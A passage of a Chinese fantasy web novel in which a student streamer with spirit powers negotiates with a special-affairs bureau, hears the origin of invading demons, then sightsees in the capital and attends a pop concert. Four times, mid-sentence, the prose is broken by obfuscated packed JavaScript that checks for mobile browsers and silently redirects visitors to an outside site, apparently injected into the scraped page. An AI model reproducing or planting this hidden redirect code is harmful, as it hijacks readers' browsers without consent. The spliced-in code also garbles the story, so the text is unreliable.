安随知道预备队的事,且刚才她就见到了两个未来的预备队成员,说实话,她并不想和他们一起共事,且她还在锦城读书,总可不能有任务来的时候她又请假去完成任务吧? 安随没有犹豫,果断地拒绝了。 “抱歉,我还是想以学习为重。” “预备队成员虽然工资没有正式队员高,但和其他职业比起来,已经算很高了,你可以考虑一下。” “我现在并不算缺钱,且有挣钱的能力。”安随不为所动。 刘仕诚见她她如此,叹了口气:“你的能力算比较稀缺,如果有你的加入,那么整个社会的安全也会更加有保障。现在能量体横行,且全国已经出现多起伤人甚至死亡事件,特事局现在急缺你这样的稀有人才,多一个人的加入,我们的力量也会更加强大。”说到这里,刘仕诚话锋一转,“你若实在不想加入就算了,我也不勉强,只是有些可惜,你的能力不能得到充分的发挥。” 安随被他说得差点就动摇了。上位者的说话艺术果然不一般,她差点就被成功洗脑。 只是安随也有自己的顾虑,她现在仍然以学习为重,她不想因为要完成任务而耽误了学业,何况,她不加入预备队也能打妖怪啊,她又不是没有单枪匹马打过。 风眠见两人有些僵持,连忙解围:“安随要读书,加入预备队限制太多了,她还小,不应该让她背负那么多,斩妖除魔的事就让我们来做吧。” “我只是……”刘仕诚顿了顿,终究没有继续说下去。 他只是惜才,不想让安随的能力就此埋没,群体作战终究比单枪匹马来得好。她气运再强,也只是一个人,一个人的力量总归太小,若遇到一个强大的能量体,谁能保证她能毫发无损地退出? 只是,这是她个人的选择,他若是说多了,反而是他道德绑架了。 刘仕诚没再劝说,风眠却问道:“安随,你的气运能力是怎么发挥的?你那个直播间只针对学习有用吗?如果做任务之前,去你直播间,能增加任务的成功率吗?” “这……我也不知道。”她的直播间最早就是给学生学习用的,还没有用在其他地方,她也不知道有没有效果。 “试试?”风眠提议。 “怎么试?” 风眠点开任务群,正好看到一个小队的人就要整装出发,他随后艾特了队长:“你们队的队员都来我宿舍一下,有事和你们说一下。” 那队长很快回复:“收到。” 风眠是第二小队的队长,也要负责发布任务,因此还算有一定的号召力。 过了几分钟,一行五人走了进来,他们各个已经穿戴整齐,蓄势待发。 风眠看向安随:“人来齐了,开始吧。” 安随随后上了直播,只不过以前他们都是在她直播间学习,她不知道要怎么让他们得到直播间的力量。 “上速音,点开主播白泽的直播间。”风眠又和几人交待。 五人一脸懵逼地照做,只是他们心里都有些疑惑,为什么风眠会在他们临走之前,还让他们观看直播,总不可能是怕他们紧张,让他们看直播放松一下吧? 安随一打开直播,粉丝们奔走相告,随后又陷入寂静,他们又开始学习了。 风眠又问:“他们要怎么做?打坐吗?” “你问我?我也不知道。”她哪里知道平常那群人挂着她直播间的时候干嘛啊? 队长有些急了:“眠哥,我们还要去做任务呢,别耽误时间了吧,我们回来看直播行吗?” 风眠见安随自己也不知道怎么做,这才发觉自己不该盲目把他们叫过来,而且安随的直播要根据她的时间,总不可能他们要出任务的时候又让她开直播吧,万一她在上课怎么办? “去吧。”风眠挥了挥手。 五人这才离开。 只是,他总觉得安随的能力不只针对学习。 学习…… 风眠灵光一闪,突然想明白了其中的关窍。 学习,就真的只针对学生吗? 他们作为能力者,在面对越来越强大的敌人,也需要练习增强自己的力量,如果他们在练习的过程中,挂着安随的直播间,是不是也能达到学习的效果? 风眠将自己的想法说了,安随却有些不确定。最初她真的只是个学习主播啊,谁知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864357|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有其他人看了她的直播也增强了力量? “你跟他说,可以。”脑海里突然响起了白泽的声音。 “啊?” “直播间名叫白泽直播间,而不是学习直播间,之所以最开始针对学生,只是因为你是学习主播而已。如今有人主动加入学习大军,何乐而不为?”白泽深吸了口气,“一群能力者给的信仰之力,可比普通人强多了。” “可以。”安随对风眠说道。 风眠注视着她,捕捉到了她眼神变幻的整个过程。最初在他抛出问题的时候,她的眼里明显写着不确定,只是只一转眼的功夫,她的眼神变得坚定,语气也没有一丝犹豫,似乎一下子就得到了肯定的答案。 到底是怎么做到的?是有人给了她提示吗?那个人又会是谁? 一瞬间,风眠便想到了那个夜晚。一条巨蛇,将他们三人打得毫无还手之力,昏迷了很长一段时间,却被安随用一根树枝就戳死了,这得拥有多么强大的力量。可在之前,安随只是被他们三人围在中间需要被保护的对象,她是第二个倒下的,明明比他还先倒下,却在最后关头颤颤巍巍地站了起来。 是的,颤颤巍巍。她被蛇妖甩出去的时候,他甚至能听到骨头断裂的声音,明显凶多吉少,可她到底是怎么站起来的?又是怎样将巨蛇打败的?难道她的体内还住着另外一个强者? 这恐怕才是她力量的来源。 风眠又想到了那只被安随的力量震碎的检测仪,明明初代检测仪只针对非人类有效,即便特事局的其他能力者也没有反应,却被安随直接震碎了。起初他们也以为是陈默的发明出了BUG,陈默也这么以为,醒来以后便把自己关了起来,随后研制出了二代检测仪,也能检测到能力者,这倒为他们招录能力者提供不少方便,总算不用初试的时候就让每个人都展示自己的能力了,这样也筛选了不少浑水摸鱼的人,为他们的工作减轻了不少负担。 如今想来,那只检测仪,恐怕就是不能承受安随的力量,这才碎的。 想明白了这点,风眠便对刘仕诚说道:“刘局,我提议以后能力者练习时都挂着安随的直播间,增强效率。” “可以。”刘仕诚点了点头,对安随说道,“安同学,如果看你的直播真的对练习有效,这可比让你加入预备队有价值多了。” 风眠闻言,连忙道:“安随帮了我们那么大的忙,怎么也得给她考虑点报酬吧,这个钱可不能省。” “好好好,回头我就和财务说一声,让安随享受和你们一样的待遇,这总行了吧?” 还有这等好事?安随都惊了,只不过一转眼的功夫,她就可以不做预备队成员,又能享受一定的待遇,简直完美。 风眠这人可以处,关键时候能说得上话,也处处为她争取利益,安随都快感动得痛哭流涕。 如今,安随拿着特事局的钱,总不可能像以前那般懒散地直播,安随便和几人敲定了直播的时间,从下周一开始,晚上八点到十一点,三个小时的直播时间,周末和节假日休息。 晚上她没课,除了有事,其他时候正常情况下都是能直播的,只是她以前总三天打鱼两天晒网,如今却不能这样了。 从今天开始,一切向钱看。 42. 第 42 章 告别风眠后,三人又回到了一楼。 安随其实心里一直有个疑惑,那就是特事局对妖怪的事到底了解多少。 回到刘仕诚的办公室,安随便问了出来,刘仕诚却看了周安一眼,周安心领神会地表示自己有事,随即离开了办公室,临走时还贴心地把门带好。 “坐吧,安同学。” 安随依言坐在刘仕诚对面,目光注视着对方,似乎想要从他的脸上看出点什么。 只可惜她失败了,刘仕诚是个喜怒不形于色的人,和这样的人打交道,你根本无法看破他,甚至还容易被对方带入对方的语言陷阱里,必须打起十二分的精神。 安随没有说话,等着他说下去。 刘仕诚却并不着急,而是给安随冲了杯茶水:“尝尝,我老家h市产的茶叶,我回老家的时候带过来的。h市茶叶不出名,但是喜欢的人也挺多。” 安随抿了口,没尝出什么特别的。她对茶叶没研究,也很少喝茶,在她的嘴里,茶的味道都差不多。 两人喝了会儿茶,见刘仕诚迟迟不开口,安随不想在这浪费时间了,便道:“刘叔叔您现在可以说了吗?” “年轻人不要那么着急嘛,这茶得细品才香。” 安随便耐着性子又抿了一口,两人静坐了会儿,刘仕诚才道:“安同学,你对这能量体的了解有多少?” 这是把问题抛给她了?她就知道,他的话没那么容易套到。 安随斟酌了会儿,才捡了能说的说了:“我只知道,那些能量体都有特殊的能力,而且是从另外一个世界过来的,破坏力很强,目前的人类不是它们的对手。” 刘仕诚看着她,目光深邃:“你怎么知道它们是从另外一个世界过来,而不是在这里凭空产生的?” “凭空产生?怎么会?如果没有外界力量介入,他们怎么会拥有那么强大的力量?为什么人类不会拥有?这必然是外来生物的入侵造成的。” 刘仕诚也不卖关子,坦诚道:“你说得没错,确实是外来生物突然入侵人类世界,且没有一点的征兆。最初它们的数量很少,几乎让人察觉不到,有几起人类死亡事件里,报告显示他们的身体被啃噬得面无全非,他们以不明动物伤人结案。只是这种事件发生得越来越多,在周围却没有发现可疑的动物,当地警方头痛不已,将此事上报,上级接收到各地都出现了不明动物伤人事件,这才引起重视,派人下去彻查。那次,他们终于捕捉到了不明生物的踪迹,只是……” 刘仕诚说到这里,面色沉痛,似乎不愿意回忆那残忍的画面,过了会儿他才继续道:“只是派下去的人有去无回,他们被发现身体被咬得面目全非,让人根本分不清谁是谁,只能做DNA检测确认身份。” 安随没有说话,脑海里已经能想象到那个画面了。 “但庆幸的是,在附近他们也发现了一具可疑的尸体,那具尸体长着人的身体,却有狗的脑袋,身上还有中弹的痕迹,我们猜测是我们的人捕捉到它的身影,打中了它,对方恼羞成怒,将几人都残忍杀害,只是终究扛不住自己也倒下了。” “这具尸体也被带回了京市,秘密研究,但解剖了它的身体,却发现它没有什么特别的地方,除了长了狗的脑袋。那具尸体没有销毁,而是被秘密保存起来,但奇怪的事情也发生了。” 说到这里,刘仕诚停下来喝了口茶,在安随期待的目光中,他又继续道:“参与实验的博士,第二天发现,自己居然拥有了隔空取物的能力。” 安随听到这里,忍不住问道:“那个博士是觉醒特殊能力的第一个人吗?” “是的。博士是最早接触能量体并且深入研究的人,他觉醒能力后,又让其他人也与那个能量体接触,但其他人并没有觉醒能力。全国各地陆续爆发小规模的伤人事件,但它们似乎变得狡猾,让人根本抓不到,而在抓捕的过程中,有人受伤后也相继觉醒了能力,这样的人越来越多以后,与能量体的对抗也越来越趋于平衡,甚至占了上风,但是能量体的力量也越来越强大了,所以我们才不得不扩招队伍,让更多的能力者加入我们。” “那你们又是怎么发现他们来自其他世界呢?”安随问道。 “我们也是无意中发现的。有一次我们的人在蹲守一只能量体时,却发现了一个让人震惊的场面。只见无数长相各异的能量体成群结队地凭空冒出来,又消失在夜色中。我们的人觉醒了隐身能力,隐藏在黑夜里,这才没被发现。那天开始,我们对那个城市进行了严密的监测和保护,但好在那群能量体并没有做出大规模的伤人事件,这也算不幸中的万幸,只是我们不敢掉以轻心,那个城市至今仍然被严密监护着。” 安随越听越觉得耳熟,突然想到了小凤凰所说的集体从妖界逃离的事情,便问道:“你说的城市是锦城吗?” “你知道?”刘仕诚再次审视着她,似乎想要从她脸上看出点什么。 安随被他看得只觉得浑身都不自在,她可是还记得刘仕诚的能力是感知能力波动,他这是在试探她?只是她有特殊能力的事情是已经坦诚了的,还需要他再次确认吗? 只不过那种不自在很快又消失了,刘仕诚的眼神又恢复了温和:“你是不是在锦城也遭遇过能量体袭击?” “不止一次。”安随点了点头,“但好在都化险为夷,我同学也遭受过袭击。” “看来锦城的防护还要加强了。”刘仕诚的神情变得严肃,随后又打了个电话,吩咐那边的人加强防护,那头的人却道,“刘局,不是我们不想处理啊,实在是这里的能量体太多了,还特别狡猾,我们根本应对不过来,您什么时候给我们加派人手啊?我们现在只有四个人,哪里处理得了那么多?” “快了,这批招录过后,就能分派人手到你们队。” “那就太好了,我们可等着啊。” 挂点电话后,刘仕诚皱着的眉却没有舒展开,一时没有说话,似乎还在思考锦城缺人的事。 因着手机听筒的声音有点大,安随听清了两人的对话,她不禁想到了吱吱所说的护妖队,吱吱他们不仅要躲避妖界妖卫的追杀,还要躲避人界能力者不被他们发现,整天东躲西藏,生活过得十分艰难。 和它打过两个照面的安随对它印象还不错,还是想帮它们一把。 “你们在锦城要抓的能量体是包括所有能量体,还是只抓在人间作恶的能量体啊?” “嗯?能量体还分好坏吗?”这倒是刘仕诚没有想到的点。 “人都分好坏,能量体怎么就不分好坏?”安随道,“你们不会是拿探测仪一探,只要是能量体见到就杀吧?” 刘仕诚:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874486|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她猜中了,他竟一时无法反驳。 安随叹了口气:“能量体也有好的,至少我见到过。” “你说的这个问题,我们会再讨论一下如何区分能量体的好坏,也会和能力者交待,在做任务时不要盲目动手,试着和对方交流再做打算。” “那就再好不过了。”安随见他这样说,也算松了口气,至少短时间,吱吱它们的日子不会那么难熬了。 “该说的我都说了,刚才我和你说的这些,知道全貌的人,一只手都能数过来,足以见得我的诚意。现在,该你坦白了。” 安随闻言,心里也在思考该和他坦白些什么,后来发现她也不知道哪些能说,索性将问题抛给刘仕诚:“您想知道什么?” “你是如何发现,那些能量体来自另外一个世界?总不可能和那位能力者一样,发现了能量体的大迁徙吧?” 安随早就料到他会问这个问题,也想好了说辞:“我遇到过一个能量体,它告诉我它们来自另外一个世界,那个世界没有人类,但所有生物都能修行成妖。” “妖?所以那些能量体是修炼成形的妖?”刘仕诚怔了一下,似乎没有料到是这个说法。 “对,他们的世界灵力充沛,所有生物都能修行,而人类之所以不能修行,便是因为人界灵力匮乏,根本无法让人类修行。” “所以,近期能量体横行,而人类觉醒了能力,也是因为他们的到来,打破了两个世界的平衡?” 安随见他一点就透,赞叹地看了他一眼:“对,人妖两界的屏障被破,大量妖怪进入人类世界,伴随而来的便是充沛的灵力,这也是人界突然多了很多能力者的原因。” 所谓祸兮福之所倚,福兮祸之所伏大抵便是如此。 “那你说的核又是什么?起什么作用?” “它是妖怪的命门,只有取了妖怪的妖核,妖怪才算真正死亡。而且,妖核是妖怪灵力凝结的产物,拥有妖怪强大的力量,吸收了妖核,也能将这股力量转化为自己的。” “如果真是这样。”刘仕诚喃喃道,“人界将很快进入全民修行时代。” “理论上是这样。”安随也是这么想的,但是她还意识到一个问题,灵力不是源源不断的,灵力来自妖界,但难保有一天屏障被修补好,灵力就此枯竭,而人界的灵力便会越来越少,修行速度自然会慢下来。 但这也只是她个人猜测,具体现在妖界是什么情况,谁也不知道,只能走一步看一步。 “妖怪的事请你务必不要宣扬出去,以免引起大众的恐慌。”刘仕诚突然郑重地说道。 “我自然知道的,我只和你说过。”安随之所以和他说,也是看在对方是特事局局长的份上,大事小事都能做主。该说的她都说了,至于要怎么做,他拿主意就好。 安随参观了一下午,也觉得有些累了,刘仕诚似乎看出了她的疲态,连忙道:“你先回酒店休息一下吧,晚上想吃什么?让周安安排,把风眠他们几个也叫上,大家聚一聚,你难得来京市一趟,让周安带你看看京市的夜景。都是年轻人,我就不去凑热闹了。” “您看着安排吧。” 安随是真累了,也没有多少参观的心思。明天还要去看贺知舟的演唱会,以他的火爆程度,感觉又有一场硬仗要打,她必须养精蓄锐才行。 43. 第 43 章 晚上的时候,周安约了风眠他们四个人,但最后来的只有三个,陈默还沉迷在他的发明中,与外界都隔绝了联系。周安说除非他自己实在饿得不行出来觅食,其他时间都窝在自己的房间里搞发明。 安随也不在意,一行五人去吃了胡同里一家小店,店面不大,但味道很好,经济实惠。安随看到装修陈旧的店面时,还想说这就是周安说的大餐吗?不过很快被打脸了,他们吃的是铜火锅,这还是安随头一次吃铜火锅,和c省的火锅是两种口味,安随吃得别有一番风味。吃饱喝足后,几人又去散步,看了会儿京市的夜景,感受了下京市人的夜景。只是九点多的时候,路上行人就变得稀少,商店大门紧闭,几人觉得没什么逛的,便打道回府。 累了一天的安随倒头就睡,可身体睡着了,灵魂却进入修行的空间里继续修行。经过这段时间的修行,她的灵魂已经形成了记忆,一到凌晨便自动进入空间,根本不用担心她忘记。 只是第二天,没有小凤凰叫起床,安随在空间里感受不到时间的流逝,一时忘乎所以,直到手机铃声才把她叫醒。 “安随,起床了吗?带你去吃京市的特色早餐。”周安轻快的声音从电话里传来。 安随看了下时间,已经早上九点了,以往这个时候,她已经坐在教室里上课了。 因着她就去两天,安随便把小凤凰托付给了宋知冉照顾。 还真有点不习惯没有小凤凰的日子。 安随感叹了会儿,便起床洗漱。 安随对京市的早餐还是抱有期待的,她都想好了,等毕业后,她会开启全国旅行,带着母亲,还有白泽,走遍祖国的大好河山,吃遍各地的美食。 姑且京市就算是她旅行的第一站吧。 安随和周安来到附近的一家早餐店,那里已经排起了队,店面不大,店里却已经坐满了人,两人便排在队伍的最后。大概排了半个多小时,才轮到他们。 周安点了包子馒头,还有杯喝的,安随以为是豆浆,看着颜色有点深,也没多想,仰头喝了一大口,随后一阵反胃,差点就吐了出来。 这什么东西?怎么和豆浆的味道不一样? 安随一脸震惊地望向周安,却见她捂着嘴偷笑。 “嗯,好喝吧?这,这是京市的特色,我专程带你过来喝的。”周安起先还捂着嘴笑,到了后面索性也不掩饰了,趴在桌子上,身体抖动个不停。 安随也意识到自己被她忽悠了,不过她却并没有生气,反而觉得很新奇。她又抿了一口,突然觉得也没那么难喝,最终那杯豆汁还是被她喝完了。 周安一脸神奇地看着她:“我的天,你居然喝完了,厉害!” “还行。”安随对新鲜的事物接受度挺高的,而且她也并没有觉得这有那么难喝,她环顾了下四周,也有不少人在喝这个,所以也觉得没有什么特别的。 两人吃完早饭后,又去爬了长城。 爬长城的人有很多,全国各地的游客都赶往这里,参观古人创造的奇迹。那个时候的人没有发达的工具,全凭人力,靠着双手,将沉重的砖石一块块地垒了起来。 站在城墙上极目远眺,所有景色尽收眼底,而人类在它面前又小如蝼蚁。 “白泽,你看到了吗?”安随问道。 一直沉默的白泽出声了:“我看到了,人类的智慧果然无穷无尽,这在妖界是不可能发生的事情。” “你在人界看到的,听到的,经历的一切,都是一代又一代的人类努力的成果。他们为人界的发展付出了自己的努力,甚至牺牲了自己的性命。几千年过去,才有了如今的模样。”说到这里,安随又问道:“妖界呢?妖界存在多少年了?” 白泽沉默了一下,过了会儿才道:“天地混沌之初,灵力最是充沛,那个时候,妖界就已经诞生了。有妖成形后,几万年过去,妖界和过去并没有太大的区别。” “这就是人和妖的区别。”安随感慨道。 白泽却无法反驳这句话。 妖怪们坐拥灵库,却不能为妖界带来更多的变化,他们的眼里只有自己的修行。他们自私又好斗,两只妖相见,势必要争个高下,甚至斗个你死我活。他们不知道团结,只知道以武为尊,谁战斗力最强,就称谁为王。 白泽曾经想过改变这个局面,但最终的结果却灵魂散落在天地间。 随着灵魂修复的进度加快,白泽也渐渐恢复了以前的记忆。他记起来了,在那场屠杀之初,他曾经靠着自己神兽的身份,拉拢了一批战斗力不强,追求和平的妖,只是妖王察觉到了他的动静,觉得挑战了他妖王的权威,便设计将他的灵魂撕碎。 他是神界派到妖界守护一方稳定的神兽,地位超然。他镇守妖界数万年,一直相安无事,历代妖王对他毕恭毕敬,不敢造次。 可他却在这代妖王手里栽了跟头。 他从未想过,现任妖王胆大包天,居然敢弑神。 他仍然记得这代妖王的模样。 那张脸纯白没有血色,喜欢玩骷髅头,连座椅都是骷髅装饰,眼睛总是血红色,闪着嗜血的光芒。 而他比任何一代妖王都还要暴虐,弱小的妖在妖界根本无法生存。 有小妖跑到白泽庙祈求他的庇护,他不忍妖界生灵涂炭,出面阻止妖王的杀戮,也利用自己的势力将小妖收在自己的羽翼之下。 也就是此举彻底激怒了妖王,给他惹来了杀身之祸。 回想起过去种种,白泽只能叹气。 现在看到人类如此团结,将人界发展得如此繁华,再对比一下妖界,他便觉得,即便妖怪入侵人界,也不会是人类的对手。 即便他们拥有强大的力量。 爬完长城,中午随便吃了点,下午他们又去参观了故宫博物院,白泽再次被人类的智慧震撼到,人界的建筑从古至今,变化太大了,见惯了人界的高楼大厦,身处这里,仿佛又回到过去,看到了人类用一砖一瓦筑起华丽建筑的过程。 再对比妖界…… 妖怪至今住在简陋的房屋里,妖王宫虽然说是宫,也就比其他妖怪住的地方大一点而已,根本没有什么美感可言。 白泽再次叹气。 安随以前只在书里或者手机里看到过故宫,如今身临其境,也被这里的巍峨和庄严所震撼。 这里很大,两人转了很久才依依不舍地离开。 逛完故宫,刘仕诚交待给周安的任务也算结束了。不过,周安还是和安随一块,没回特事局。贺知舟的演唱会七点开始,她还能陪着安随到现场。 得知安随要去看贺知舟的演唱会时,周安一脸艳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881949|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羡,她在票开售的时候便蹲点抢,可惜手速和网速都不够快,没抢着。 两人吃完饭后,便打车去了贺知舟开演唱会的体育馆,此刻才六点,门口却挤满了人,不少摊贩在这里摆摊设点,有很多粉丝在应援点打卡,后援会准备了应援物,在场的粉丝都能免费领取一个,领完即止。其他应援点也有站姐自费的应援物,也有不少粉丝在打卡。 他们每个人青春热情,脸上挂着幸福的笑容。 安随不怎么关注娱乐圈,不过前几天才刷了贺知舟的超话,他确实很火,也有很多粉丝,安随不追星,但她看到美的事物还是觉得挺赏心悦目的。 周安却是贺知舟的铁粉,轻车熟路地在各个应援点拍照打卡,还拉着安随一起。 安随不怎么喜欢拍照,但看到周安兴致勃勃,也不好扫了她的兴,而且有免费的应援物领,感觉还不错。 安随随手拍了个视频传上速音,表明自己已经到了演唱会门口,给网友们报了个进度。 眼见着时间临近,安随便告别了周安,排队去做安检。 周安依依不舍地看着她,千叮万嘱道:“你一定帮我多看几眼啊,我家舟舟很帅的,多看不亏。他的歌也巨好听,前程高能,不要开小差。多帮我拍几张照,如果不让拍就算了。” 安随点了点头,无奈地听着她叮嘱,眼见着快到自己了,安随赶紧挥了挥手,安检后跟着人流进去。 安随进去以后,找到门票上的位置,这才发现那位置还不错,居然在前排,视野还比较好,安随坐了下去。不一会儿她的身边也陆陆续续坐满了人,她的位置在前排最后一个位置,出入还算方便,就是每次有人进来她都起身让一让。 演唱会很快开始,由于演唱会提示禁止拍照、录像、直播,安随便没有给周安拍照,只能转换为文字和她说。 说贺知舟有多帅,声音有多好听,今天的造型有多酷,他又换了衣服,惹得周安在屏幕那头尖叫。 “啊啊啊啊我的好安随,你快说说,贺知舟大不大?” 安随:“?什么大不大?” “就是那个……那个……算了,我忘了你还是学生。”周安欲言又止。 安随却把她的话听了进去,努力辨认着在台上热舞的男人,她的视力很好,看到了贺知舟脸上晶莹的汗珠,顺着鼻梁往下,一直自下巴落了下去,喉结微动,贴在胸口的衣服亮片在灯光下闪闪发光,隐隐能看出衣服下磅礴的肌肉。 安随下意识地吞了吞口水。 “挺,挺大的。” 那肱二头肌,感觉能打死一头牛。 “哇,哇靠!姐妹你简直是我的福星!我爱死你了!”周安兴奋地在场外尖叫个不停,惹得一旁的摊贩频频看向她。 这小姑娘在他摊前站了快半个小时了,时而手舞足蹈,时而发出花痴的笑声,又不买东西,还吓跑好几个想要过来买东西的客人。 摊主忍无可忍:“小妹妹,你要犯花痴去远点犯嘛,莫要挡了我的生意。” 周安闻言连忙道歉,随后找了个角落和安随继续聊天。 周安噼里啪啦地打字:“挺大是有多大?能描述一下吗?” 安随:“比你脑袋还大。” 周安:??? 怎么感觉哪里不对? 44. 第 44 章 白泽拿着手机,低头噼里啪啦地打字。 安随抗议:“白泽你干嘛呀?快把手机还我。” “认真看演唱会,我替你聊天。” “不行,我答应了要给她实时文字转播的。” “我给她转播不就行了?安心看你的演唱会吧。” 见说服不了白泽,安随只得作罢。 但她开始猜想,白泽为什么掌控了她的身体。上一次她清醒的时候失去身体掌控权还是白泽刚来时,他对人间的饭菜非常执着,执着到掌控了她的身体亲自吃饭,让她根本无法动弹。 而如今,他又像那次那般,占据了她的身体,只为了和周安聊天。 他不会对周安有想法吧? 只不过念头刚一起,便感觉被人弹了下脑门。 “你脑子里都是些什么乱七八糟的?好好看演唱会,别分心。” 安随揉了揉额头,不敢再起任何想法,安安静静地开始欣赏贺知舟的表演。 而在场外蹲着的周安收到安随的回复,总感觉哪里不对,便又问了句:“你知道我问的是哪里大吗?乱回答。” “不是脑袋吗?他的脑袋比你大。” 周安:“……” 她就知道安随没理解她的意思,不过看在对方还是学生的份上,周安没有继续追问下去,而是又问其他的:“舟舟今天穿的什么衣服?亮不亮?” “亮瞎你的眼。” 虽然是句很常见的话,但周安总觉得安随的说法风格像换了个人。但她还是不死心,又继续问道:“舟舟露了吗?露哪里了?露了多少?” 白泽看着句句露骨的话,眉蹙得都能夹死一只苍蝇。 什么乱七八糟的? “露了,露脸了,露了整张脸。” KO…… 算了,别难为孩子了。 周安无奈地想。 见周安很长一段时间都没再问问题,白泽总算松了口气。 可不能让这些东西腐蚀祖国的花朵。 他将目光投向台上激情演唱的男人,台下是粉丝此起彼伏的尖叫声,热浪都快把他掀翻了。 原来人类喜欢这样的男人啊…… 重新获得身体的掌控权,安随连忙问道:“怎么样?” “什么怎么样?” “你和周安啊?是不是特别投缘?” 白泽:“没有,闭嘴。” 安随嘟囔:“怎么还恼羞成怒了?” 演唱会过半的时候,现场的气氛达到了极点,观众的热情十分高涨,安随也被他们的情绪感染,沉浸在这片热烈中。 中途有个互动环节,贺知舟会抽取一名幸运观众,和他互动。 听到这里,安随打起了十二分的精神,甚至激动地问白泽:“白泽白泽!你有办法让我成为幸运观众吗?” 白泽有片刻的停顿:“你想和他互动?” 安随猛然点头:“对!” 只有互动,她才能有机会把嘻唰唰的礼物送出去。 “好。” 贺知舟开始选人,台下的尖叫声更甚,每个人都卯足了劲,做出各种动作想要吸引贺知舟的注意。 台上的男人环顾了整个会场,随后将目光落在第一排的角落。 “那就这位女生吧。” 灯光打在安随的身上,将她整个人都影子拉得老长。虽然相信白泽的实力,但当她真正被贺知舟选中时,心里还是有些激动。 她的脸很快出现在大屏幕上,在见到屏幕上自己的脸时,安随心里只有一个念头,好社死,赶紧把东西送了吧。 这是安随第一次站在这么多人面前,虽然是背对着他们,可听到背后的人声鼎沸,和网络上几十万观众观看是完全不同的感觉,后者人再多,也只是一串数字,不会让她觉得紧张。 贺知舟问她,有没有想让他唱的歌,安随哪里知道他唱过哪些歌,于是问道:“可以有其他的请求吗?” “你有什么请求?”贺知舟问她。 “你的一个粉丝,让我把这个东西转交给你,希望你能收下。”安随将香囊举在聚光灯下,让它出现在众人的面前。 “顺便再发个微博,确认一下你收到了。” 贺知舟愣了一下,似乎没有料到她只是来帮别人送东西的,便问道:“这个互动机会难得,你确定只想帮别人送东西,自己没有什么想法吗?” 安随歪头想了想:“那再帮你另外一个粉丝要张签名吧。”见贺知舟的表情有些无奈,她又问,“可以吗?” 贺知舟见她说的还是帮别人,自己却没有一个请求,想了想,便说道:“可以,我再送你一张签名吧。” 除了安随,贺知舟又点了几个幸运儿,说了他们的诉求,只要不是太过分的,他都会满足,其中还有一个粉丝让他上衣脱了跳舞,他当场就脱了,男菩萨的身材和举动,惹来粉丝一串尖叫。 半个小时过后,机会难得的互动环节便结束。工作人员将她的香囊收走,又递给了她两张贺知舟现签的明信片。 明信片上的字龙飞凤舞,让人根本看不清签的是什么,安随看得直怀疑,这真的是“贺知舟”三个字吗?也太草率了吧? 演唱会仍然在如火如荼地进行着,安随也全身心投入进去,现场的气氛到达了高潮。 两个半小时的演唱会很快结束,粉丝们意犹未尽,依依不舍地陆续离场。安随也跟着人流走了出去,出去的时候看到周安竟然还在,赶紧将贺知舟的签名递给了她:“喏,给你要的签名。” “mua——”周安在安随脸上狠狠地亲了一口,“安随我爱死你了!” 安随擦了擦脸上的口水,一脸嫌弃。 两个人打闹了一会儿便打车准备回去。安随今天晚上还要坐飞机回锦城,买的是零点的机票,于是准备去机场。 只是这里打车并不好打,打车软件上还有十来个人在排队,周安便让住在附近的同事过来送安随,两人在路上等了十几分钟便等到了接他们的同事,两人坐上车后,便往机场赶去。 去往机场的路上有很多车,大都是返程的粉丝。这条路平时人不多,但一到开演唱会的时候便爆棚,路上还塞了会儿车,到十一点的时候,一行人总算到了机场。安随告别两人,随后进了安检。 自此,安随在京市的旅程圆满结束。 零点的时候,安随已经坐到了自己的位置。 安随整个人靠在椅子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885196|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上闭目养神,灵魂却已进入了修行空间。 “我还以为你不会来了。”白泽幽幽的声音响起。 安随:“怎么会?我每天都进来修行的,没有一天落下。” “你怎么来了?”这才是安随关注的重点。最近白泽都是把她一个人扔在这里修行,已经许久没来指导她了。 “我不能来吗?”白泽反问她。 “怎么会?我很希望你来给我指点。” “那就开始吧。”白泽说着,便又将一枚妖核悬在安随眼前。 